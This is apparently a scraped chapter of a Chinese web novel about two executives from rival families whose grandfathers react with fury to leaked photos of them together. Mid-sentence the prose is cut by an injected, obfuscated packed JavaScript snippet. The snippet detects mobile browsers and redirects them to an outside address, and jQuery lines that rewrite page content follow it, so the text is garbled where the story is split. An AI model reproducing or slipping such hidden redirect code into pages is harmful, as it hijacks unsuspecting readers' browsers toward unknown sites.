57. 02
作品:《和死对头同时失忆后》 添油加醋的长篇大论几乎不含逻辑,只为强夺眼球,拨弄是非。
为了佐证,最显眼的板块附上了几张偷拍视角的照片。
照片里,沈述白一身再普通不过的黑色西装,从照片的视角只能看到半张侧脸,但恰好拍到他标志性的黑色耳钉。
傅珺瑶身着常出现在大众视野的酒红色西装,弓身弯腿,面色透着不正常的红润,安静躺在沈述白怀里。
他们身后的背景是一排排错落的轿车,再不远处,露出不太明显的三个字母。
Bar。
是那天她喝醉,沈述白送她回家。
眼球上下浮动,傅珺瑶迅速扫完内容。
“啪”的一声,手机拍在坚硬的办公桌上,发出震响。
凳子“刺啦——”往后滑出去,傅珺瑶没管,径直朝着门口走。
办公室的门滑推开,室内几乎要凝滞的冷空气终于有了喘息的机会,聂秘书迎面上来,双神里闪着略带诧异的紧张。
“傅…傅总。”
傅珺瑶面色尚且平静,不过在稍冷的环境里待太久,声音染了几分寒气:“找公关部,赶紧处理新闻,我去一趟董事长那边,不要让任何人上去打扰。”
聂秘书有短暂的怔愣,旋即重重点头。
-
临站在那扇冰冷的门前,傅珺瑶脚步有片刻的停顿。
胳膊被包裹在昂贵严肃的紫色西装里,好似被暂时禁锢,连上抬的动作都几次卡顿、僵硬。
她垂眸,盯着自己逐渐捏紧的拳头,深吸了口气,终于敲响那扇本就无时无刻不往外透着冷意的门。
“进。”
那道沉重老成的声音仍然散发着不容置喙的威严气息,不过到底是病了一场,中气不再那样足。
傅珺瑶腿迈得有些僵硬,即使在进来前做过好几回心理建设,在撞上老人那双微微混浊的灰眸时,心脏还是无可避免地往胸壁撞了一下。
“董事长,我有事情……”
傅珺瑶手里的力度捏重,先入为主,直击矛盾。然而话没来得及说完,一声炸耳的震响便砸进耳膜,滚着轻轻颤抖的余波,不停往耳道加压。
傅珺瑶下意识抖了一下,指腹被指尖蹂躏得血色全失,后面的话堵在喉口,难以找到支撑泄出的通道。
但一双漆黑的眼瞳仍然注视着前方,没有半分移开的意思。
她暂时没有开口,打算留给老爷子发泄情绪的余地,以免突发心脏病这种事件再发。
然而想象中的暴怒并没有到来,老爷子甚至连眉目都是平静的。
傅珺瑶没有因此松懈,心脏反而跳得更快。
外显的恼怒她尚且笃定,会有退散的时候。可内收的情绪,她根本无所探从。就好似站在静谧浅波的海边,看上去仿佛安全,可海面以下,藏着的是能够瞬时毁灭一切的骇浪。
“我说我一向听话的孙女到底是为什么会做出让人无法理解的事情,到底为什么执着去跟启行合作。”
老爷子的声音冷如寒冰,又混入室内的凉气,沁入肌理,傅珺瑶隐隐发颤。
她不急于开口,等着他说完。
“原来,是打算背叛家族?”
肃严的沉冷浸透每一个字,逐渐有翻起波涛的趋势。
傅珺瑶下颌慢慢绷紧,指腹掐出的刺痛感渐渐转轻,变得麻木。
她眸光微闪,平缓的声音浸了几分低沉,好似平静,又隐隐透着强势:“爷爷,到底是不是背叛家族,我想还有待证实。”
“证实?!”老爷子的话语里夹杂着明显的不悦:“怎么,你这是承认跟沈家那个混小子在一起了?!”
话音落下,老爷子的眉头再难平撇,几乎是瞬间紧拧。
傅珺瑶静默了两秒,嘴唇动了动,话语有奔涌而出的意思,最后又被她强压下去。
“傅珺瑶。”老爷子慢慢咬出这三个字,情绪抵达爆发的边缘。
傅珺瑶只要稍稍不注意,海面下爆发的威力就能让她彻底溃败。
“你是不是以为坐上这个位置,就能肆无忌惮、无法无天了?!”
傅珺瑶暗暗吸气,慢慢吐出,胸腔里的压迫感少了些许,但仍然明显。
她的语气稍软:“爷爷,至少,您先给我解释的机会。”
老爷子眉头拧得更紧,灰眸暗光凝集,只要她的承受能力再弱一点,就能被扫得体无完肤。
“解释?解释你怎么跟那一家子薄情寡义的小人扯上关系的吗?!”
傅珺瑶下意识蹙眉,话语脱口而出:“爷爷,他不是薄情寡义的小人,他……”
“住口!我不想听!”老爷子大手一挥,耳膜再次遭殃,被硬朗的震响轰入。
傅珺瑶的话口再次叫停,她没有犹豫,不顾老爷子的阻拦,加快语速,声音也扬起几分道:“爷爷,如果我说我失忆的事情根本不是意外,这背后还藏着秘密呢?”
办公室里对冲的惊涛突然被挡住去路。
原本要爆发的骇浪骤然退散。
老爷子的眉头稍稍松了些,看上去却依然冷肃:“你说什么?”
傅珺瑶迎上去的眸光收凛,冒出让人难以忽视的锐利。
手上紧握的拳头松开,背脊挺直,“您只需要给我两分钟,两分钟后,您再下定论也不迟。”
……
傅珺瑶回到办公室时,紧绷的神经终于完全松懈。
双脚毫不犹豫地甩开高跟鞋,套进舒适的拖鞋,又一口气闷完聂秘书准备的温水,把堵在身体里的浊气全部吐了出来。
还没缓神,聂秘书“哒哒”的脚步声便冲进来,语气稍急:“傅总,您的电话刚才响了好几次,最后一通我替您接了,是林总打来的,他说有重要的事跟您说。”
傅珺瑶面色不惊,问:“新闻处理得怎样?”
“公关部已经压下去了。”
“这么轻松?”傅珺瑶掀眸。
聂秘书稍愣,花了几秒钟理解她的意思:“您是说……”
傅珺瑶唇边扯出声低哼:“没事,解决了就好,出去工作吧。”
聂秘书乖乖听吩咐,不过在临出门前,还是忍不住多嘴问了句:“董事长那边……”
傅珺瑶朝她扬了扬下巴,说没事。
聂秘书眉间的几道竖痕瞬时消失。
傅珺瑶才有心思看手机。
几通来自傅淮湛和林逸深的未接通话,还有几条顾清漪的微信消息。
她先回了顾清漪。
等聂秘书再送进来温水,她才不紧不慢地去回拨傅淮湛的电话。
男人依旧如她所料,语气急切又不和善:“珺珺,你到底是怎么一回事?那新闻爸妈都看到了!爷爷肯定更不用说,你……”
“爸妈那边我会解释的,爷爷是看到了,但什么事都没有,我怎么?”
她的语气冷静,语速不急不缓,甚至像是在说着件和自己完全搭不上边的小事。
听筒里的男声沉默在那一分一秒不停变换的数字里。
傅珺瑶不催促,静静等待。
再一杯温水下肚,傅珺瑶体内的浊气全部被温热融尽,只留下一身畅快。
男人终于开口,语气里带着试探,又隐隐担忧:“你…你要离开恒璟了?”
傅珺瑶放回玻璃杯,杯子在桌上发出“嗒”的一声叩响,她才无声扯唇:“哥,你能想到的解决办法,就是逃避么?”
那头再次陷入沉默。
傅珺瑶这一次没有等他回应,干脆开口:“今晚我会回傅宅,如果你真的那么担心我会离开恒璟,那就回去吧。”
电话听筒里只有很轻的呼吸声。
“好了,我还有工作,晚上见。”
再回到没有消息的微信界面,傅珺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223350|193223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑶盯着置顶的聊天框很久,心底莫名有点慌。
指尖在屏幕上反复划动,最后还是点进去。
傅珺瑶:【你那边怎么样了?有没有问题?】
没有回复。
傅珺瑶:【看到消息第一时间联系我。】
心跳加速,傅珺瑶眉头下意识蹙了蹙,心神不宁地关了手机。工作的状态不是很好,傅珺瑶抓紧把手里的事解决完,时时刻刻关注着手机消息。
-
中午,傅珺瑶盯着依然未被回复的消息,眉头紧蹙。
没有犹豫,直接给人拨了语音通话过去。
最后一丝心安消失在通话屏幕下方显现的‘对方用户可能在忙’里。
傅珺瑶顾不上聂秘书送进来的午餐,直接联系了顾清漪。
“清漪,你帮我个忙。”
顾清漪:“什么事,你直接说就成。”
“让许远舟帮我联系一下沈行之。”
-
傅珺瑶是等了两个小时,才从沈行之那里得知沈述白被扇巴掌,以及被老爷子强制带回沈宅的消息。
上午,沈述白刚到启行,有个早会,他按照惯例参会,也没带手机,恰好错过了那则新闻。
会议结束,沈述白正准备回办公室,两条腿还没来得及迈出会议室,一双凌厉的眸子满目怒意顶上来,打得他猝不及防。
“爷爷,您……”
“啪——”
沈述白要说出口的话全都被这个硬朗结实的巴掌给扇了回去。
沈述白的头完全偏向另一侧,白皙的皮肤上很快有了掌印的轮廓,他的喉结慢吞吞地动了动,脖颈像是定住一般,他几乎用了全身气力,却仍难以转回去。
右脸发木地疼,颊侧稍稍一动,嘴里隐隐有血腥味漫出来。
是沈行之的声音先到一步。
“爷爷,这事没那么简单,您先不要冲动。”
老爷子声音沉沉,语气尽是对沈行之话语的不满,那张苍老的薄唇轻启,厉色更显:“冲动?你们兄弟俩就把家里人当傻子糊弄?!当初你们怎么说的,失忆失踪的事跟傅家的人扯不上关系,现在呢?!”
他抬手,指向沈述白,好似后知后觉终于意识到什么:“怪不得刚回来那两天在家绝食,原来不是不记得家里人不适应,是在为你的感情可惜!”
老爷子的声音到后面有些没压住,潜藏的愠怒彻底爆发,回荡在会议室外的走廊,还没走远的员工频频回头。
沈行之迅速进了会议室,反手锁门。
他二话不说,先按住老爷子的双肩,快速解释:“爷爷,述白他确实做错了事,但您也得给个机会把事说清楚不是?”
沈述白后颈一阵酸软,终于艰难地转回头,一眼对上老爷子的厉眸。
也猜到,脸上的这一巴掌到底为何而来。
“说清楚?我看他就没觉得自己是做错了事!”老爷子狠凝着他,手臂再次上抬,好在沈行之的手挡了过去,才阻止了第二巴掌落下来。
沈述白没有很快开口,视线慢慢往边上挪,目光和沈行之有几秒交汇,又缓缓咽下嘴里的血腥。
沈行之暂且搬出杀手锏:“爷爷,这还是在集团,刚刚外面很多员工都注意到了,您先别生气,咱们有什么事等晚上回家再说,嗯?”
老爷子这会却不吃这一套,手肘后顶,怼开沈行之钳制他的胳膊,不等沈行之继续反应,苍老却有力的手紧紧抓着沈述白的手腕。
“也不用等什么晚上回家了,你现在就跟我回去!在你奶奶知道你干的这些事之前,你最好给我一字不差地解释清楚!”
-
沈行之被迫停下手里的事,跟着他们回了家。
老爷子二话不说,一路拖着沈述白走到沈千仪的遗像前,背过身,怒喝:“给我跪下!在你姑姑的遗像前,一件事都不准隐瞒!”

